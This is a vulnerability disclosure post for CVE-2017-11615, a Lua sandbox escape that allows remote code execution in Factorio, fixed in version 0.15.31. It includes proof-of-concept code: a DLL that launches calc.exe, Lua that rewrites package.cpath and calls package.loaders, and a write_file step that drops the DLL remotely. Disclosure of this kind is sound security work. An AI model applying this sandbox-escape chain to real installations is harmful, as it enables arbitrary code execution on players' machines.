RCE in Factorio

CVE-2017-11615

Background

Factorio is a very popular multiplayer factory management and automation game. It supports modification though the use of Lua scripts. For security and determinism (in a multiplayer game all clients process the game state separately, any client difference would result in desyncronization and crashing) access to certain Lua core libraries is disabled. This includes OS, debug and package. Factorio supports a Lua REPL that can be used by administrative users in multiplayer games and will also autorun Lua provided by the server on joining in a less widely used system called “scenarios”.

Vulnerability

Due to a flaw in the library disabling code some variables are still accessible. Notably package.loaders and package.cpath. package.cpath determines where Lua will look when attempting to load a C module and package.loaders is an array of loading methods Lua uses when instructed to load a library. This makes a sandbox escape to arbitrary C execution trivial. A malicious mod author would simply have to include a C library that exports int luaopen_XXX(lua_State * L) where XXX is the libraries filename

__declspec(dllexport) int luaopen_XXX(lua_State * L) {
  system("calc.exe");
  return 0;
}

modify package.cpath to point to the library (By default package.cpath points to the game executable folder, in the standalone versions of Factorio the mods folder is 2 directories higher).

path = split(package.cpath, ";")[1] --[[ The first entry points to the executable folder ]]
path = string.sub(path, 1, string.len(path)-13) --[[ Remove the last 13 characters to go up 2 directories ]]
path = path .. "mods\\<MOD NAME>\\?.dll" --[[ Add the mod folder to the search path ]]
package.cpath = path

function split(inputstr, sep)
   --[[ Split the input string into an array based on a separator ]]
end

Finally, call

package.loaders[3]("XXX")()

in Lua which will execute luaopen_XXX in the C library. Exploitation is also possible without requiring users to locally install malicious libraries. The Factorio Lua environment provides LuaGameScript::write_file(filename, data, [append], [for_player]) where data is a string.

dll = {
  0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
  0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  ...
}
str = string.char(unpack(dll)) --[[ convert each byte to a character and merge them into a string ]]
game.write_file("XXX.dll", str)

Files are written relative to a “script-output” directory which is next to the mods folder so package.cpath can be modified just as before. This allows remote attackers operating either as users in a multiplayer game with elevated privileges or running their own server with a malicious scenario to write a library to a file, alter package.cpath, load and then run that library.

Remediation

This issue is fixed in version 0.15.31 released 2017-07-25. Immediate update is strongly recommended.

Timeline

2016-12-01: I discovered some members of package were exposed. At the time I believed this to not to have any security impact as I didn’t notice package.cpath was writable.
2017-07-21: I revisited the issue and found an exploit vector, issue reported.
9* hours later: (EDIT: This used to say 14 hours, I made a mistake with timezone math.) I’m informed the issue has been patched and the patch will be included in the next release.
2017-07-25: Patch released, I confirmed the vulnerability has been fixed.
2017-07-26: Blog post published.

Acknowledgments

I would like to thank Brandon Wagner for his support with discovery, exploitation and writeup of this vulnerability.